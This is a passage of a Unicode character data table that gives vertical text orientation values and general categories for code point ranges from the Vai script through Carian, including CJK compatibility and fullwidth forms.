COMMA..LISU PUNCTUATION FULL STOP -A500..A60B ; R # Lo [268] VAI SYLLABLE EE..VAI SYLLABLE NG -A60C ; R # Lm VAI SYLLABLE LENGTHENER -A60D..A60F ; R # Po [3] VAI COMMA..VAI QUESTION MARK -A610..A61F ; R # Lo [16] VAI SYLLABLE NDOLE FA..VAI SYMBOL JONG -A620..A629 ; R # Nd [10] VAI DIGIT ZERO..VAI DIGIT NINE -A62A..A62B ; R # Lo [2] VAI SYLLABLE NDOLE MA..VAI SYLLABLE NDOLE DO -A640..A66D ; R # L& [46] CYRILLIC CAPITAL LETTER ZEMLYA..CYRILLIC SMALL LETTER DOUBLE MONOCULAR O -A66E ; R # Lo CYRILLIC LETTER MULTIOCULAR O -A66F ; R # Mn COMBINING CYRILLIC VZMET -A670..A672 ; R # Me [3] COMBINING CYRILLIC TEN MILLIONS SIGN..COMBINING CYRILLIC THOUSAND MILLIONS SIGN -A673 ; R # Po SLAVONIC ASTERISK -A674..A67D ; R # Mn [10] COMBINING CYRILLIC LETTER UKRAINIAN IE..COMBINING CYRILLIC PAYEROK -A67E ; R # Po CYRILLIC KAVYKA -A67F ; R # Lm CYRILLIC PAYEROK -A680..A69B ; R # L& [28] CYRILLIC CAPITAL LETTER DWE..CYRILLIC SMALL LETTER CROSSED O -A69C..A69D ; R # Lm [2] MODIFIER LETTER CYRILLIC HARD SIGN..MODIFIER LETTER CYRILLIC SOFT SIGN -A69E..A69F ; R # Mn [2] COMBINING CYRILLIC LETTER EF..COMBINING CYRILLIC LETTER IOTIFIED E -A6A0..A6E5 ; R # Lo [70] BAMUM LETTER A..BAMUM LETTER KI -A6E6..A6EF ; R # Nl [10] BAMUM LETTER MO..BAMUM LETTER KOGHOM -A6F0..A6F1 ; R # Mn [2] BAMUM COMBINING MARK KOQNDON..BAMUM COMBINING MARK TUKWENTIS -A6F2..A6F7 ; R # Po [6] BAMUM NJAEMLI..BAMUM QUESTION MARK -A700..A716 ; R # Sk [23] MODIFIER LETTER CHINESE TONE YIN PING..MODIFIER LETTER EXTRA-LOW LEFT-STEM TONE BAR -A717..A71F ; R # Lm [9] MODIFIER LETTER DOT VERTICAL BAR..MODIFIER LETTER LOW INVERTED EXCLAMATION MARK -A720..A721 ; R # Sk [2] MODIFIER LETTER STRESS AND HIGH TONE..MODIFIER LETTER STRESS AND LOW TONE -A722..A76F ; R # L& [78] LATIN CAPITAL LETTER EGYPTOLOGICAL ALEF..LATIN SMALL LETTER CON -A770 ; R # Lm MODIFIER LETTER US -A771..A787 ; R # L& [23] LATIN SMALL LETTER DUM..LATIN SMALL LETTER INSULAR T -A788 ; R # Lm MODIFIER LETTER LOW CIRCUMFLEX ACCENT -A789..A78A ; R # Sk [2] MODIFIER LETTER COLON..MODIFIER LETTER SHORT EQUALS SIGN -A78B..A78E ; R # L& [4] LATIN CAPITAL LETTER SALTILLO..LATIN SMALL LETTER L WITH RETROFLEX HOOK AND BELT -A78F ; R # Lo LATIN LETTER SINOLOGICAL DOT -A790..A7AE ; R # L& [31] LATIN CAPITAL LETTER N WITH DESCENDER..LATIN CAPITAL LETTER SMALL CAPITAL I -A7B0..A7B7 ; R # L& [8] LATIN CAPITAL LETTER TURNED K..LATIN SMALL LETTER OMEGA -A7F7 ; R # Lo LATIN EPIGRAPHIC LETTER SIDEWAYS I -A7F8..A7F9 ; R # Lm [2] MODIFIER LETTER CAPITAL H WITH STROKE..MODIFIER LETTER SMALL LIGATURE OE -A7FA ; R # Ll LATIN LETTER SMALL CAPITAL TURNED M -A7FB..A7FF ; R # Lo [5] LATIN EPIGRAPHIC LETTER REVERSED F..LATIN EPIGRAPHIC LETTER ARCHAIC M -A800..A801 ; R # Lo [2] SYLOTI NAGRI LETTER A..SYLOTI NAGRI LETTER I -A802 ; R # Mn SYLOTI NAGRI SIGN DVISVARA -A803..A805 ; R # Lo [3] SYLOTI NAGRI LETTER U..SYLOTI NAGRI LETTER O -A806 ; R # Mn SYLOTI NAGRI SIGN HASANTA -A807..A80A ; R # Lo [4] SYLOTI NAGRI LETTER KO..SYLOTI NAGRI LETTER GHO -A80B ; R # Mn SYLOTI NAGRI SIGN ANUSVARA -A80C..A822 ; R # Lo [23] SYLOTI NAGRI LETTER CO..SYLOTI NAGRI LETTER HO -A823..A824 ; R # Mc [2] SYLOTI NAGRI VOWEL SIGN A..SYLOTI NAGRI VOWEL SIGN I -A825..A826 ; R # Mn [2] SYLOTI NAGRI VOWEL SIGN U..SYLOTI NAGRI VOWEL SIGN E -A827 ; R # Mc SYLOTI NAGRI VOWEL SIGN OO -A828..A82B ; R # So [4] SYLOTI NAGRI POETRY MARK-1..SYLOTI NAGRI POETRY MARK-4 -A830..A835 ; R # No [6] NORTH INDIC FRACTION ONE QUARTER..NORTH INDIC FRACTION THREE SIXTEENTHS -A836..A837 ; R # So [2] NORTH INDIC QUARTER MARK..NORTH INDIC PLACEHOLDER MARK -A838 ; R # Sc NORTH INDIC RUPEE MARK -A839 ; R # So NORTH INDIC QUANTITY MARK -A840..A873 ; R # Lo [52] PHAGS-PA LETTER KA..PHAGS-PA LETTER CANDRABINDU -A874..A877 ; R # Po [4] PHAGS-PA SINGLE HEAD MARK..PHAGS-PA MARK DOUBLE SHAD -A880..A881 ; R # Mc [2] SAURASHTRA SIGN ANUSVARA..SAURASHTRA SIGN VISARGA -A882..A8B3 ; R # Lo [50] SAURASHTRA LETTER A..SAURASHTRA LETTER LLA -A8B4..A8C3 ; R # Mc [16] SAURASHTRA CONSONANT SIGN HAARU..SAURASHTRA VOWEL SIGN AU -A8C4..A8C5 ; R # Mn [2] SAURASHTRA SIGN VIRAMA..SAURASHTRA SIGN CANDRABINDU -A8CE..A8CF ; R # Po [2] SAURASHTRA DANDA..SAURASHTRA DOUBLE DANDA -A8D0..A8D9 ; R # Nd [10] SAURASHTRA DIGIT ZERO..SAURASHTRA DIGIT NINE -A8E0..A8F1 ; R # Mn [18] COMBINING DEVANAGARI DIGIT ZERO..COMBINING DEVANAGARI SIGN AVAGRAHA -A8F2..A8F7 ; R # Lo [6] DEVANAGARI SIGN SPACING CANDRABINDU..DEVANAGARI SIGN CANDRABINDU AVAGRAHA -A8F8..A8FA ; R # Po [3] DEVANAGARI SIGN PUSHPIKA..DEVANAGARI CARET -A8FB ; R # Lo DEVANAGARI HEADSTROKE -A8FC ; R # Po DEVANAGARI SIGN SIDDHAM -A8FD ; R # Lo DEVANAGARI JAIN OM -A900..A909 ; R # Nd [10] KAYAH LI DIGIT ZERO..KAYAH LI DIGIT NINE -A90A..A925 ; R # Lo [28] KAYAH LI LETTER KA..KAYAH LI LETTER OO -A926..A92D ; R # Mn [8] KAYAH LI VOWEL UE..KAYAH LI TONE CALYA PLOPHU -A92E..A92F ; R # Po [2] KAYAH LI SIGN CWI..KAYAH LI SIGN SHYA -A930..A946 ; R # Lo [23] REJANG LETTER KA..REJANG LETTER A -A947..A951 ; R # Mn [11] REJANG VOWEL SIGN I..REJANG CONSONANT SIGN R -A952..A953 ; R # Mc [2] REJANG CONSONANT SIGN H..REJANG VIRAMA -A95F ; R # Po REJANG SECTION MARK -A960..A97C ; U # Lo [29] HANGUL CHOSEONG TIKEUT-MIEUM..HANGUL CHOSEONG SSANGYEORINHIEUH -A97D..A97F ; U # Cn [3] .. -A980..A982 ; R # Mn [3] JAVANESE SIGN PANYANGGA..JAVANESE SIGN LAYAR -A983 ; R # Mc JAVANESE SIGN WIGNYAN -A984..A9B2 ; R # Lo [47] JAVANESE LETTER A..JAVANESE LETTER HA -A9B3 ; R # Mn JAVANESE SIGN CECAK TELU -A9B4..A9B5 ; R # Mc [2] JAVANESE VOWEL SIGN TARUNG..JAVANESE VOWEL SIGN TOLONG -A9B6..A9B9 ; R # Mn [4] JAVANESE VOWEL SIGN WULU..JAVANESE VOWEL SIGN SUKU MENDUT -A9BA..A9BB ; R # Mc [2] JAVANESE VOWEL SIGN TALING..JAVANESE VOWEL SIGN DIRGA MURE -A9BC ; R # Mn JAVANESE VOWEL SIGN PEPET -A9BD..A9C0 ; R # Mc [4] JAVANESE CONSONANT SIGN KERET..JAVANESE PANGKON -A9C1..A9CD ; R # Po [13] JAVANESE LEFT RERENGGAN..JAVANESE TURNED PADA PISELEH -A9CF ; R # Lm JAVANESE PANGRANGKEP -A9D0..A9D9 ; R # Nd [10] JAVANESE DIGIT ZERO..JAVANESE DIGIT NINE -A9DE..A9DF ; R # Po [2] JAVANESE PADA TIRTA TUMETES..JAVANESE PADA ISEN-ISEN -A9E0..A9E4 ; R # Lo [5] MYANMAR LETTER SHAN GHA..MYANMAR LETTER SHAN BHA -A9E5 ; R # Mn MYANMAR SIGN SHAN SAW -A9E6 ; R # Lm MYANMAR MODIFIER LETTER SHAN REDUPLICATION -A9E7..A9EF ; R # Lo [9] MYANMAR LETTER TAI LAING NYA..MYANMAR LETTER TAI LAING NNA -A9F0..A9F9 ; R # Nd [10] MYANMAR TAI LAING DIGIT ZERO..MYANMAR TAI LAING DIGIT NINE -A9FA..A9FE ; R # Lo [5] MYANMAR LETTER TAI LAING LLA..MYANMAR LETTER TAI LAING BHA -AA00..AA28 ; R # Lo [41] CHAM LETTER A..CHAM LETTER HA -AA29..AA2E ; R # Mn [6] CHAM VOWEL SIGN AA..CHAM VOWEL SIGN OE -AA2F..AA30 ; R # Mc [2] CHAM VOWEL SIGN O..CHAM VOWEL SIGN AI -AA31..AA32 ; R # Mn [2] CHAM VOWEL SIGN AU..CHAM VOWEL SIGN UE -AA33..AA34 ; R # Mc [2] CHAM CONSONANT SIGN YA..CHAM CONSONANT SIGN RA -AA35..AA36 ; R # Mn [2] CHAM CONSONANT SIGN LA..CHAM CONSONANT SIGN WA -AA40..AA42 ; R # Lo [3] CHAM LETTER FINAL K..CHAM LETTER FINAL NG -AA43 ; R # Mn CHAM CONSONANT SIGN FINAL NG -AA44..AA4B ; R # Lo [8] CHAM LETTER FINAL CH..CHAM LETTER FINAL SS -AA4C ; R # Mn CHAM CONSONANT SIGN FINAL M -AA4D ; R # Mc CHAM CONSONANT SIGN FINAL H -AA50..AA59 ; R # Nd [10] CHAM DIGIT ZERO..CHAM DIGIT NINE -AA5C..AA5F ; R # Po [4] CHAM PUNCTUATION SPIRAL..CHAM PUNCTUATION TRIPLE DANDA -AA60..AA6F ; R # Lo [16] MYANMAR LETTER KHAMTI GA..MYANMAR LETTER KHAMTI FA -AA70 ; R # Lm MYANMAR MODIFIER LETTER KHAMTI REDUPLICATION -AA71..AA76 ; R # Lo [6] MYANMAR LETTER KHAMTI XA..MYANMAR LOGOGRAM KHAMTI HM -AA77..AA79 ; R # So [3] MYANMAR SYMBOL AITON EXCLAMATION..MYANMAR SYMBOL AITON TWO -AA7A ; R # Lo MYANMAR LETTER AITON RA -AA7B ; R # Mc MYANMAR SIGN PAO KAREN TONE -AA7C ; R # Mn MYANMAR SIGN TAI LAING TONE-2 -AA7D ; R # Mc MYANMAR SIGN TAI LAING TONE-5 -AA7E..AA7F ; R # Lo [2] MYANMAR LETTER SHWE PALAUNG CHA..MYANMAR LETTER SHWE PALAUNG SHA -AA80..AAAF ; R # Lo [48] TAI VIET LETTER LOW KO..TAI VIET LETTER HIGH O -AAB0 ; R # Mn TAI VIET MAI KANG -AAB1 ; R # Lo TAI VIET VOWEL AA -AAB2..AAB4 ; R # Mn [3] TAI VIET VOWEL I..TAI VIET VOWEL U -AAB5..AAB6 ; R # Lo [2] TAI VIET VOWEL E..TAI VIET VOWEL O -AAB7..AAB8 ; R # Mn [2] TAI VIET MAI KHIT..TAI VIET VOWEL IA -AAB9..AABD ; R # Lo [5] TAI VIET VOWEL UEA..TAI VIET VOWEL AN -AABE..AABF ; R # Mn [2] TAI VIET VOWEL AM..TAI VIET TONE MAI EK -AAC0 ; R # Lo TAI VIET TONE MAI NUENG -AAC1 ; R # Mn TAI VIET TONE MAI THO -AAC2 ; R # Lo TAI VIET TONE MAI SONG -AADB..AADC ; R # Lo [2] TAI VIET SYMBOL KON..TAI VIET SYMBOL NUENG -AADD ; R # Lm TAI VIET SYMBOL SAM -AADE..AADF ; R # Po [2] TAI VIET SYMBOL HO HOI..TAI VIET SYMBOL KOI KOI -AAE0..AAEA ; R # Lo [11] MEETEI MAYEK LETTER E..MEETEI MAYEK LETTER SSA -AAEB ; R # Mc MEETEI MAYEK VOWEL SIGN II -AAEC..AAED ; R # Mn [2] MEETEI MAYEK VOWEL SIGN UU..MEETEI MAYEK VOWEL SIGN AAI -AAEE..AAEF ; R # Mc [2] MEETEI MAYEK VOWEL SIGN AU..MEETEI MAYEK VOWEL SIGN AAU -AAF0..AAF1 ; R # Po [2] MEETEI MAYEK CHEIKHAN..MEETEI MAYEK AHANG KHUDAM -AAF2 ; R # Lo MEETEI MAYEK ANJI -AAF3..AAF4 ; R # Lm [2] MEETEI MAYEK SYLLABLE REPETITION MARK..MEETEI MAYEK WORD REPETITION MARK -AAF5 ; R # Mc MEETEI MAYEK VOWEL SIGN VISARGA -AAF6 ; R # Mn MEETEI MAYEK VIRAMA -AB01..AB06 ; R # Lo [6] ETHIOPIC SYLLABLE TTHU..ETHIOPIC SYLLABLE TTHO -AB09..AB0E ; R # Lo [6] ETHIOPIC SYLLABLE DDHU..ETHIOPIC SYLLABLE DDHO -AB11..AB16 ; R # Lo [6] ETHIOPIC SYLLABLE DZU..ETHIOPIC SYLLABLE DZO -AB20..AB26 ; R # Lo [7] ETHIOPIC SYLLABLE CCHHA..ETHIOPIC SYLLABLE CCHHO -AB28..AB2E ; R # Lo [7] ETHIOPIC SYLLABLE BBA..ETHIOPIC SYLLABLE BBO -AB30..AB5A ; R # Ll [43] LATIN SMALL LETTER BARRED ALPHA..LATIN SMALL LETTER Y WITH SHORT RIGHT LEG -AB5B ; R # Sk MODIFIER BREVE WITH INVERTED BREVE -AB5C..AB5F ; R # Lm [4] MODIFIER LETTER SMALL HENG..MODIFIER LETTER SMALL U WITH LEFT HOOK -AB60..AB65 ; R # Ll [6] LATIN SMALL LETTER SAKHA YAT..GREEK LETTER SMALL CAPITAL OMEGA -AB70..ABBF ; R # Ll [80] CHEROKEE SMALL LETTER A..CHEROKEE SMALL LETTER YA -ABC0..ABE2 ; R # Lo [35] MEETEI MAYEK LETTER KOK..MEETEI MAYEK LETTER I LONSUM -ABE3..ABE4 ; R # Mc [2] MEETEI MAYEK VOWEL SIGN ONAP..MEETEI MAYEK VOWEL SIGN INAP -ABE5 ; R # Mn MEETEI MAYEK VOWEL SIGN ANAP -ABE6..ABE7 ; R # Mc [2] MEETEI MAYEK VOWEL SIGN YENAP..MEETEI MAYEK VOWEL SIGN SOUNAP -ABE8 ; R # Mn MEETEI MAYEK VOWEL SIGN UNAP -ABE9..ABEA ; R # Mc [2] MEETEI MAYEK VOWEL SIGN CHEINAP..MEETEI MAYEK VOWEL SIGN NUNG -ABEB ; R # Po MEETEI MAYEK CHEIKHEI -ABEC ; R # Mc MEETEI MAYEK LUM IYEK -ABED ; R # Mn MEETEI MAYEK APUN IYEK -ABF0..ABF9 ; R # Nd [10] MEETEI MAYEK DIGIT ZERO..MEETEI MAYEK DIGIT NINE -AC00..D7A3 ; U # Lo [11172] HANGUL SYLLABLE GA..HANGUL SYLLABLE HIH -D7A4..D7AF ; U # Cn [12] .. -D7B0..D7C6 ; U # Lo [23] HANGUL JUNGSEONG O-YEO..HANGUL JUNGSEONG ARAEA-E -D7C7..D7CA ; U # Cn [4] .. -D7CB..D7FB ; U # Lo [49] HANGUL JONGSEONG NIEUN-RIEUL..HANGUL JONGSEONG PHIEUPH-THIEUTH -D7FC..D7FF ; U # Cn [4] .. -D800..DFFF ; R # Cs [2048] .. -E000..F8FF ; U # Co [6400] .. -F900..FA6D ; U # Lo [366] CJK COMPATIBILITY IDEOGRAPH-F900..CJK COMPATIBILITY IDEOGRAPH-FA6D -FA6E..FA6F ; U # Cn [2] .. -FA70..FAD9 ; U # Lo [106] CJK COMPATIBILITY IDEOGRAPH-FA70..CJK COMPATIBILITY IDEOGRAPH-FAD9 -FADA..FAFF ; U # Cn [38] .. -FB00..FB06 ; R # Ll [7] LATIN SMALL LIGATURE FF..LATIN SMALL LIGATURE ST -FB13..FB17 ; R # Ll [5] ARMENIAN SMALL LIGATURE MEN NOW..ARMENIAN SMALL LIGATURE MEN XEH -FB1D ; R # Lo HEBREW LETTER YOD WITH HIRIQ -FB1E ; R # Mn HEBREW POINT JUDEO-SPANISH VARIKA -FB1F..FB28 ; R # Lo [10] HEBREW LIGATURE YIDDISH YOD YOD PATAH..HEBREW LETTER WIDE TAV -FB29 ; R # Sm HEBREW LETTER ALTERNATIVE PLUS SIGN -FB2A..FB36 ; R # Lo [13] HEBREW LETTER SHIN WITH SHIN DOT..HEBREW LETTER ZAYIN WITH DAGESH -FB38..FB3C ; R # Lo [5] HEBREW LETTER TET WITH DAGESH..HEBREW LETTER LAMED WITH DAGESH -FB3E ; R # Lo HEBREW LETTER MEM WITH DAGESH -FB40..FB41 ; R # Lo [2] HEBREW LETTER NUN WITH DAGESH..HEBREW LETTER SAMEKH WITH DAGESH -FB43..FB44 ; R # Lo [2] HEBREW LETTER FINAL PE WITH DAGESH..HEBREW LETTER PE WITH DAGESH -FB46..FB4F ; R # Lo [10] HEBREW LETTER TSADI WITH DAGESH..HEBREW LIGATURE ALEF LAMED -FB50..FBB1 ; R # Lo [98] ARABIC LETTER ALEF WASLA ISOLATED FORM..ARABIC LETTER YEH BARREE WITH HAMZA ABOVE FINAL FORM -FBB2..FBC1 ; R # Sk [16] ARABIC SYMBOL DOT ABOVE..ARABIC SYMBOL SMALL TAH BELOW -FBD3..FD3D ; R # Lo [363] ARABIC LETTER NG ISOLATED FORM..ARABIC LIGATURE ALEF WITH FATHATAN ISOLATED FORM -FD3E ; R # Pe ORNATE LEFT PARENTHESIS -FD3F ; R # Ps ORNATE RIGHT PARENTHESIS -FD50..FD8F ; R # Lo [64] ARABIC LIGATURE TEH WITH JEEM WITH MEEM INITIAL FORM..ARABIC LIGATURE MEEM WITH KHAH WITH MEEM INITIAL FORM -FD92..FDC7 ; R # Lo [54] ARABIC LIGATURE MEEM WITH JEEM WITH KHAH INITIAL FORM..ARABIC LIGATURE NOON WITH JEEM WITH YEH FINAL FORM -FDF0..FDFB ; R # Lo [12] ARABIC LIGATURE SALLA USED AS KORANIC STOP SIGN ISOLATED FORM..ARABIC LIGATURE JALLAJALALOUHOU -FDFC ; R # Sc RIAL SIGN -FDFD ; R # So ARABIC LIGATURE BISMILLAH AR-RAHMAN AR-RAHEEM -FE00..FE0F ; R # Mn [16] VARIATION SELECTOR-1..VARIATION SELECTOR-16 -FE10..FE16 ; U # Po [7] PRESENTATION FORM FOR VERTICAL COMMA..PRESENTATION FORM FOR VERTICAL QUESTION MARK -FE17 ; U # Ps PRESENTATION FORM FOR VERTICAL LEFT WHITE LENTICULAR BRACKET -FE18 ; U # Pe PRESENTATION FORM FOR VERTICAL RIGHT WHITE LENTICULAR BRAKCET -FE19 ; U # Po PRESENTATION FORM FOR VERTICAL HORIZONTAL ELLIPSIS -FE1A..FE1F ; U # Cn [6] .. -FE20..FE2F ; R # Mn [16] COMBINING LIGATURE LEFT HALF..COMBINING CYRILLIC TITLO RIGHT HALF -FE30 ; U # Po PRESENTATION FORM FOR VERTICAL TWO DOT LEADER -FE31..FE32 ; U # Pd [2] PRESENTATION FORM FOR VERTICAL EM DASH..PRESENTATION FORM FOR VERTICAL EN DASH -FE33..FE34 ; U # Pc [2] PRESENTATION FORM FOR VERTICAL LOW LINE..PRESENTATION FORM FOR VERTICAL WAVY LOW LINE -FE35 ; U # Ps PRESENTATION FORM FOR VERTICAL LEFT PARENTHESIS -FE36 ; U # Pe PRESENTATION FORM FOR VERTICAL RIGHT PARENTHESIS -FE37 ; U # Ps PRESENTATION FORM FOR VERTICAL LEFT CURLY BRACKET -FE38 ; U # Pe PRESENTATION FORM FOR VERTICAL RIGHT CURLY BRACKET -FE39 ; U # Ps PRESENTATION FORM FOR VERTICAL LEFT TORTOISE SHELL BRACKET -FE3A ; U # Pe PRESENTATION FORM FOR VERTICAL RIGHT TORTOISE SHELL BRACKET -FE3B ; U # Ps PRESENTATION FORM FOR VERTICAL LEFT BLACK LENTICULAR BRACKET -FE3C ; U # Pe PRESENTATION FORM FOR VERTICAL RIGHT BLACK LENTICULAR BRACKET -FE3D ; U # Ps PRESENTATION FORM FOR VERTICAL LEFT DOUBLE ANGLE BRACKET -FE3E ; U # Pe PRESENTATION FORM FOR VERTICAL RIGHT DOUBLE ANGLE BRACKET -FE3F ; U # Ps PRESENTATION FORM FOR VERTICAL LEFT ANGLE BRACKET -FE40 ; U # Pe PRESENTATION FORM FOR VERTICAL RIGHT ANGLE BRACKET -FE41 ; U # Ps PRESENTATION FORM FOR VERTICAL LEFT CORNER BRACKET -FE42 ; U # Pe PRESENTATION FORM FOR VERTICAL RIGHT CORNER BRACKET -FE43 ; U # Ps PRESENTATION FORM FOR VERTICAL LEFT WHITE CORNER BRACKET -FE44 ; U # Pe PRESENTATION FORM FOR VERTICAL RIGHT WHITE CORNER BRACKET -FE45..FE46 ; U # Po [2] SESAME DOT..WHITE SESAME DOT -FE47 ; U # Ps PRESENTATION FORM FOR VERTICAL LEFT SQUARE BRACKET -FE48 ; U # Pe PRESENTATION FORM FOR VERTICAL RIGHT SQUARE BRACKET -FE49..FE4C ; R # Po [4] DASHED OVERLINE..DOUBLE WAVY OVERLINE -FE4D..FE4F ; R # Pc [3] DASHED LOW LINE..WAVY LOW LINE -FE50..FE52 ; Tu # Po [3] SMALL COMMA..SMALL FULL STOP -FE53 ; U # Cn -FE54..FE57 ; U # Po [4] SMALL SEMICOLON..SMALL EXCLAMATION MARK -FE58 ; R # Pd SMALL EM DASH -FE59 ; Tr # Ps SMALL LEFT PARENTHESIS -FE5A ; Tr # Pe SMALL RIGHT PARENTHESIS -FE5B ; Tr # Ps SMALL LEFT CURLY BRACKET -FE5C ; Tr # Pe SMALL RIGHT CURLY BRACKET -FE5D ; Tr # Ps SMALL LEFT TORTOISE SHELL BRACKET -FE5E ; Tr # Pe SMALL RIGHT TORTOISE SHELL BRACKET -FE5F..FE61 ; U # Po [3] SMALL NUMBER SIGN..SMALL ASTERISK -FE62 ; U # Sm SMALL PLUS SIGN -FE63 ; R # Pd SMALL HYPHEN-MINUS -FE64..FE66 ; R # Sm [3] SMALL LESS-THAN SIGN..SMALL EQUALS SIGN -FE67 ; U # Cn -FE68 ; U # Po SMALL REVERSE SOLIDUS -FE69 ; U # Sc SMALL DOLLAR SIGN -FE6A..FE6B ; U # Po [2] SMALL PERCENT SIGN..SMALL COMMERCIAL AT -FE6C..FE6F ; U # Cn [4] .. -FE70..FE74 ; R # Lo [5] ARABIC FATHATAN ISOLATED FORM..ARABIC KASRATAN ISOLATED FORM -FE76..FEFC ; R # Lo [135] ARABIC FATHA ISOLATED FORM..ARABIC LIGATURE LAM WITH ALEF FINAL FORM -FEFF ; R # Cf ZERO WIDTH NO-BREAK SPACE -FF01 ; Tu # Po FULLWIDTH EXCLAMATION MARK -FF02..FF03 ; U # Po [2] FULLWIDTH QUOTATION MARK..FULLWIDTH NUMBER SIGN -FF04 ; U # Sc FULLWIDTH DOLLAR SIGN -FF05..FF07 ; U # Po [3] FULLWIDTH PERCENT SIGN..FULLWIDTH APOSTROPHE -FF08 ; Tr # Ps FULLWIDTH LEFT PARENTHESIS -FF09 ; Tr # Pe FULLWIDTH RIGHT PARENTHESIS -FF0A ; U # Po FULLWIDTH ASTERISK -FF0B ; U # Sm FULLWIDTH PLUS SIGN -FF0C ; Tu # Po FULLWIDTH COMMA -FF0D ; R # Pd FULLWIDTH HYPHEN-MINUS -FF0E ; Tu # Po FULLWIDTH FULL STOP -FF0F ; U # Po FULLWIDTH SOLIDUS -FF10..FF19 ; U # Nd [10] FULLWIDTH DIGIT ZERO..FULLWIDTH DIGIT NINE -FF1A..FF1B ; Tr # Po [2] FULLWIDTH COLON..FULLWIDTH SEMICOLON -FF1C..FF1E ; R # Sm [3] FULLWIDTH LESS-THAN SIGN..FULLWIDTH GREATER-THAN SIGN -FF1F ; Tu # Po FULLWIDTH QUESTION MARK -FF20 ; U # Po FULLWIDTH COMMERCIAL AT -FF21..FF3A ; U # Lu [26] FULLWIDTH LATIN CAPITAL LETTER A..FULLWIDTH LATIN CAPITAL LETTER Z -FF3B ; Tr # Ps FULLWIDTH LEFT SQUARE BRACKET -FF3C ; U # Po FULLWIDTH REVERSE SOLIDUS -FF3D ; Tr # Pe FULLWIDTH RIGHT SQUARE BRACKET -FF3E ; U # Sk FULLWIDTH CIRCUMFLEX ACCENT -FF3F ; Tr # Pc FULLWIDTH LOW LINE -FF40 ; U # Sk FULLWIDTH GRAVE ACCENT -FF41..FF5A ; U # Ll [26] FULLWIDTH LATIN SMALL LETTER A..FULLWIDTH LATIN SMALL LETTER Z -FF5B ; Tr # Ps FULLWIDTH LEFT CURLY BRACKET -FF5C ; Tr # Sm FULLWIDTH VERTICAL LINE -FF5D ; Tr # Pe FULLWIDTH RIGHT CURLY BRACKET -FF5E ; Tr # Sm FULLWIDTH TILDE -FF5F ; Tr # Ps FULLWIDTH LEFT WHITE PARENTHESIS -FF60 ; Tr # Pe FULLWIDTH RIGHT WHITE PARENTHESIS -FF61 ; R # Po HALFWIDTH IDEOGRAPHIC FULL STOP -FF62 ; R # Ps HALFWIDTH LEFT CORNER BRACKET -FF63 ; R # Pe HALFWIDTH RIGHT CORNER BRACKET -FF64..FF65 ; R # Po [2] HALFWIDTH IDEOGRAPHIC COMMA..HALFWIDTH KATAKANA MIDDLE DOT -FF66..FF6F ; R # Lo [10] HALFWIDTH KATAKANA LETTER WO..HALFWIDTH KATAKANA LETTER SMALL TU -FF70 ; R # Lm HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK -FF71..FF9D ; R # Lo [45] HALFWIDTH KATAKANA LETTER A..HALFWIDTH KATAKANA LETTER N -FF9E..FF9F ; R # Lm [2] HALFWIDTH KATAKANA VOICED SOUND MARK..HALFWIDTH KATAKANA SEMI-VOICED SOUND MARK -FFA0..FFBE ; R # Lo [31] HALFWIDTH HANGUL FILLER..HALFWIDTH HANGUL LETTER HIEUH -FFC2..FFC7 ; R # Lo [6] HALFWIDTH HANGUL LETTER A..HALFWIDTH HANGUL LETTER E -FFCA..FFCF ; R # Lo [6] HALFWIDTH HANGUL LETTER YEO..HALFWIDTH HANGUL LETTER OE -FFD2..FFD7 ; R # Lo [6] HALFWIDTH HANGUL LETTER YO..HALFWIDTH HANGUL LETTER YU -FFDA..FFDC ; R # Lo [3] HALFWIDTH HANGUL LETTER EU..HALFWIDTH HANGUL LETTER I -FFE0..FFE1 ; U # Sc [2] FULLWIDTH CENT SIGN..FULLWIDTH POUND SIGN -FFE2 ; U # Sm FULLWIDTH NOT SIGN -FFE3 ; Tr # Sk FULLWIDTH MACRON -FFE4 ; U # So FULLWIDTH BROKEN BAR -FFE5..FFE6 ; U # Sc [2] FULLWIDTH YEN SIGN..FULLWIDTH WON SIGN -FFE7 ; U # Cn -FFE8 ; R # So HALFWIDTH FORMS LIGHT VERTICAL -FFE9..FFEC ; R # Sm [4] HALFWIDTH LEFTWARDS ARROW..HALFWIDTH DOWNWARDS ARROW -FFED..FFEE ; R # So [2] HALFWIDTH BLACK SQUARE..HALFWIDTH WHITE CIRCLE -FFF0..FFF8 ; U # Cn [9] .. -FFF9..FFFB ; R # Cf [3] INTERLINEAR ANNOTATION ANCHOR..INTERLINEAR ANNOTATION TERMINATOR -FFFC..FFFD ; U # So [2] OBJECT REPLACEMENT CHARACTER..REPLACEMENT CHARACTER -10000..1000B ; R # Lo [12] LINEAR B SYLLABLE B008 A..LINEAR B SYLLABLE B046 JE -1000D..10026 ; R # Lo [26] LINEAR B SYLLABLE B036 JO..LINEAR B SYLLABLE B032 QO -10028..1003A ; R # Lo [19] LINEAR B SYLLABLE B060 RA..LINEAR B SYLLABLE B042 WO -1003C..1003D ; R # Lo [2] LINEAR B SYLLABLE B017 ZA..LINEAR B SYLLABLE B074 ZE -1003F..1004D ; R # Lo [15] LINEAR B SYLLABLE B020 ZO..LINEAR B SYLLABLE B091 TWO -10050..1005D ; R # Lo [14] LINEAR B SYMBOL B018..LINEAR B SYMBOL B089 -10080..100FA ; R # Lo [123] LINEAR B IDEOGRAM B100 MAN..LINEAR B IDEOGRAM VESSEL B305 -10100..10102 ; R # Po [3] AEGEAN WORD SEPARATOR LINE..AEGEAN CHECK MARK -10107..10133 ; R # No [45] AEGEAN NUMBER ONE..AEGEAN NUMBER NINETY THOUSAND -10137..1013F ; R # So [9] AEGEAN WEIGHT BASE UNIT..AEGEAN MEASURE THIRD SUBUNIT -10140..10174 ; R # Nl [53] GREEK ACROPHONIC ATTIC ONE QUARTER..GREEK ACROPHONIC STRATIAN FIFTY MNAS -10175..10178 ; R # No [4] GREEK ONE HALF SIGN..GREEK THREE QUARTERS SIGN -10179..10189 ; R # So [17] GREEK YEAR SIGN..GREEK TRYBLION BASE SIGN -1018A..1018B ; R # No [2] GREEK ZERO SIGN..GREEK ONE QUARTER SIGN -1018C..1018E ; R # So [3] GREEK SINUSOID SIGN..NOMISMA SIGN -10190..1019B ; R # So [12] ROMAN SEXTANS SIGN..ROMAN CENTURIAL SIGN -101A0 ; R # So GREEK SYMBOL TAU RHO -101D0..101FC ; R # So [45] PHAISTOS DISC SIGN PEDESTRIAN..PHAISTOS DISC SIGN WAVY BAND -101FD ; R # Mn PHAISTOS DISC SIGN COMBINING OBLIQUE STROKE -10280..1029C ; R # Lo [29] LYCIAN LETTER A..LYCIAN LETTER X -102A0..102D0 ; R # Lo [49] CARIAN LETTER A..CARIAN LETTER UUU3 